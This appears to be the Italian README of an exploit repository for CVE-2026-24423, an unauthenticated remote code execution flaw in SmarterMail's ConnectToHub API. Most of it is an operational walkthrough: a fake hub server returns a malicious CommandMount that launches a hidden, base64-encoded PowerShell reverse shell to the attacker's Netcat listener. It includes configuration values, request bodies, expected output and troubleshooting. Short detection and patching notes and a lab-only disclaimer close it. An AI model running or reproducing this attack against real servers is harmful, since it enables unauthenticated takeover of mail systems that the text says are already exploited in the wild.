cyberalp0/smartermail-cve-2026-24423-Exploit per CVE-2026-24423 — una RCE critica non autenticata nell'API ConnectToHub di SmarterMail. Interessa tutte le build precedenti alla 9511.
Un exploit basato su Python per CVE-2026-24423, una vulnerabilità di Remote Code Execution non autenticata nella funzionalità ConnectToHub di SmarterTools SmarterMail.
Uso previsto: Solo test di sicurezza autorizzati, CTF, laboratori Hack The Box e ambienti di ricerca controllati.
CVE-2026-24423 è una vulnerabilità di Remote Code Execution non autenticata che colpisce SmarterTools SmarterMail.
La vulnerabilità esiste nella funzionalità ConnectToHub. Un attaccante non autenticato può fornire un hubAddress malevolo, causando una richiesta HTTP dal server SmarterMail verso un server controllato dall'attaccante.
Il server malevolo risponde con una risposta setup-initial-connection appositamente costruita contenente un valore SystemMount.CommandMount controllato.
L'istanza SmarterMail vulnerabile elabora successivamente questo valore come comando del sistema operativo, consentendo l'esecuzione arbitraria di comandi nel contesto di sicurezza del servizio SmarterMail.
Alla vulnerabilità è stato assegnato un punteggio CVSS 4.0 di 9.3 (Critico) ed è classificata come CWE-306: Mancanza di Autenticazione per Funzioni Critiche.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-24423 |
| Vendor | SmarterTools |
| Prodotto | SmarterMail |
| Vulnerabilità | Remote Code Execution non autenticata |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 Critico |
| CVSS v3.1 | 9.8 Critico |
| Vettore di Attacco | Rete |
| Autenticazione | Nessuna |
| Interazione Utente | Nessuna |
| Complessità | Bassa |
| Pubblicazione | 23 gennaio 2026 |
| Build Correttiva | 9511 |
Il record CVE ufficiale descrive il problema come una RCE non autenticata attraverso il metodo API ConnectToHub.
Le versioni di SmarterMail precedenti alla Build 9511 sono affette.
Il record CVE specifica l'intervallo affetto come:
SmarterMail < 100.0.9511
La Build 9511, rilasciata il 15 gennaio 2026, contiene la correzione del vendor.
< 100.0.9511
>= 100.0.9511
Verificare sempre la build esatta installata prima di tentare di riprodurre la vulnerabilità.
La funzionalità vulnerabile è esposta tramite l'API di amministrazione di sistema di SmarterMail.
L'operazione rilevante è:
/api/v1/settings/sysadmin/connect-to-hub
L'endpoint accetta un parametro hubAddress.
Concettualmente, un attaccante può fornire:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
SmarterMail si connette quindi all'indirizzo hub fornito e richiede:
/web/api/node-management/setup-initial-connection
Il server controllato dall'attaccante risponde con JSON contenente un oggetto SystemMount malevolo.
La proprietà importante è:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
Il valore CommandMount viene successivamente utilizzato dall'applicazione vulnerabile come comando del sistema operativo.
Ciò consente a un attaccante di passare da:
Richiesta HTTP non autenticata
a:
Esecuzione remota di comandi
L'analisi tecnica di VulnCheck conferma che l'hubAddress controllato dall'attaccante induce SmarterMail a richiedere l'endpoint setup-initial-connection dell'attaccante e che il CommandMount restituito può fornire l'esecuzione arbitraria di comandi.
L'exploit è composto da due componenti:
Il server Python è in ascolto per:
POST /web/api/node-management/setup-initial-connection
e restituisce una risposta JSON appositamente costruita contenente il SystemMount.CommandMount malevolo.
Un listener TCP separato riceve la connessione avviata dal comando eseguito sul target.
Questo exploit utilizza intenzionalmente due porte separate.
8081
└── Fake SmarterMail Hub
4455
└── Listener Reverse Shell
flowchart LR
A[Attaccante<br/>10.10.14.50]
H[Fake SmarterMail Hub<br/>TCP/8081]
T[Target SmarterMail<br/>10.129.57.86]
C[CommandMount<br/>Esecuzione Comando]
P[PowerShell]
L[Listener Reverse Shell<br/>TCP/4455]
A -->|Attiva ConnectToHub| T
T -->|HTTP POST| H
H -->|JSON Malevolo| T
T -->|CommandMount| C
C --> P
P -->|TCP inverso| L
L --> ATarget
|
| HTTP
v
10.10.14.50:8081
Target
|
| TCP
v
10.10.14.50:4455
Queste porte servono a scopi diversi e non devono essere confuse.
L'exploit utilizza solo moduli della libreria standard di Python:
http.server
json
base64
Non sono richiesti pacchetti Python esterni.
Modificare le seguenti variabili:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Per l'ambiente HTB di esempio:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST è l'indirizzo IP dell'attaccante raggiungibile dal target.
Per Hack The Box, questo è normalmente l'IP assegnato all'interfaccia VPN HTB:
ip addr show tun0
Esempio:
tun0:
inet 10.10.14.50
Pertanto:
LHOST = "10.10.14.50"
LPORT è la porta TCP utilizzata dall'attaccante per ricevere la connessione inversa.
Esempio:
LPORT = 4455
HUB_PORT è la porta HTTP utilizzata dall'hub SmarterMail malevolo.
Esempio:
HUB_PORT = 8081
git clone https://github.com/<username>/<repository>.git
cd <repository>
Modificare:
nano exploit.py
Impostare:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Aprire un terminale:
nc -lvnp 4455
Output previsto:
Listening on 0.0.0.0 4455
Mantenere questo terminale aperto.
Aprire un secondo terminale:
python3 exploit.py
Se il binding alla porta selezionata richiede privilegi elevati:
sudo python3 exploit.py
Output previsto:
============================================================
SmarterMail fake hub
============================================================
[+] LHOST: 10.10.14.50
[+] LPORT: 4455
[+] HUB: 10.10.14.50:8081
[+] In attesa di SmarterMail...
============================================================
Inviare la richiesta appropriata all'istanza SmarterMail vulnerabile.
L'hubAddress fornito deve puntare al server HTTP malevolo:
{
"hubAddress": "http://10.10.14.50:8081",
"oneTimePassword": "tempst",
"nodeName": "DC"
}
Il valore importante è:
http://10.10.14.50:8081
Non utilizzare la porta reverse-shell come porta hub.
| Scopo | IP | Porta |
|---|---|---|
| VPN Attaccante | 10.10.14.50 | — |
| Fake SmarterMail Hub | 10.10.14.50 | 8081 |
| Reverse Shell | 10.10.14.50 | 4455 |
| Target HTB | 10.129.57.86 | — |
Il flusso risultante è:
hubAddress
↓
10.10.14.50:8081
↓
CommandMount malevolo
↓
PowerShell
↓
10.10.14.50:4455
L'exploit crea dinamicamente il payload PowerShell.
Il parametro -EncodedCommand di PowerShell prevede che il comando sia codificato in UTF-16LE prima della codifica Base64.
Lo script esegue:
encoded = base64.b64encode(
PS.encode("utf-16le")
).decode()
Il comando finale è strutturato come:
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64>
Questo evita la codifica manuale del payload e previene i comuni errori di codifica UTF-8/UTF-16LE.
Quando il target raggiunge l'hub malevolo:
[+] Ricevuta connessione SmarterMail
[+] Percorso: /web/api/node-management/setup-initial-connection
[+] Corpo: ...
[+] Invio payload CommandMount
[+] Reverse shell -> 10.10.14.50:4455
Il listener reverse-shell dovrebbe successivamente ricevere una connessione:
Connection received on 10.129.57.86 XXXXX
Una volta connessi, è possibile eseguire una validazione di base:
whoami
hostname
Verificare che il server sia in ascolto:
ss -lntp | grep 8081
Verificare l'indirizzo VPN:
ip addr show tun0
Confermare che LHOST corrisponda all'indirizzo raggiungibile dal target.
Una richiesta HTTP riuscita significa che la prima fase funziona:
Target
|
| HTTP
v
Fake Hub :8081
Non significa necessariamente che la seconda fase sia riuscita.
Verificare:
ss -lntp | grep 4455
Assicurarsi che Netcat sia stato avviato prima di attivare l'exploit.
Verificare anche:
LHOST = IP attaccante raggiungibile dal target
LPORT = porta del listener
Se si vede:
POST /web/api/node-management/setup-initial-connection
all'interno di Netcat, si è puntato hubAddress al listener reverse-shell.
Errato:
hubAddress = http://10.10.14.50:4455
Corretto:
hubAddress = http://10.10.14.50:8081
Le due porte devono rimanere separate.
Una risposta 400 può verificarsi quando il fake hub non restituisce la struttura prevista da SmarterMail.
Verificare che la risposta contenga:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
Assicurarsi inoltre che il percorso richiesto sia esattamente:
/web/api/node-management/setup-initial-connection
L'analisi pubblica della vulnerabilità identifica questo endpoint come parte del flusso ConnectToHub vulnerabile.
Aggiungere qui gli screenshot del laboratorio HTB.
Esempio:
Screenshot suggeriti:
Mostrare:
[+] Ricevuta connessione SmarterMail
[+] Invio payload CommandMount
Mostrare la richiesta contenente:
{
"hubAddress": "http://10.10.14.50:8081"
}
Mostrare:
Connection received on 10.129.57.86
e il prompt dei comandi risultante.
smartermail-rce/
│
├── exploit.py
├── README.md
│
└── screenshots/
├── nmap.png
├── burp-request.png
├── fake-hub.png
└── reverse-shell.png
Potenziali indicatori di sfruttamento includono richieste inattese a:
/api/v1/settings/sysadmin/connect-to-hub
e connessioni in uscita dal server SmarterMail verso host HTTP precedentemente sconosciuti.
Gli amministratori dovrebbero inoltre esaminare i log applicativi, IIS/reverse-proxy e di rete per attività ConnectToHub sospette.
CVE-2026-24423 è stata inclusa nel catalogo Known Exploited Vulnerabilities di CISA, indicando che lo sfruttamento è stato osservato al di fuori degli ambienti di laboratorio.
La remediation principale consiste nell'aggiornare SmarterMail alla Build 9511 o successiva. Il rilascio del vendor del 15 gennaio 2026 ha risolto la vulnerabilità.
Laddove il patching immediato non sia possibile, le organizzazioni dovrebbero inoltre considerare:
ConnectToHub sospette.Questo progetto è fornito esclusivamente per ricerca sulla sicurezza autorizzata e scopi educativi.
Non utilizzare questo exploit contro sistemi che non si possiedono o per i quali non si dispone di esplicita autorizzazione al test.
L'autore non si assume alcuna responsabilità per uso improprio, danni, perdita di dati, accesso non autorizzato o altre conseguenze derivanti dall'uso di questo software.
Utilizzare solo in ambienti controllati come:
CVE-2026-24423 è stata attribuita a:
La CVE è stata pubblicata da VulnCheck il 23 gennaio 2026.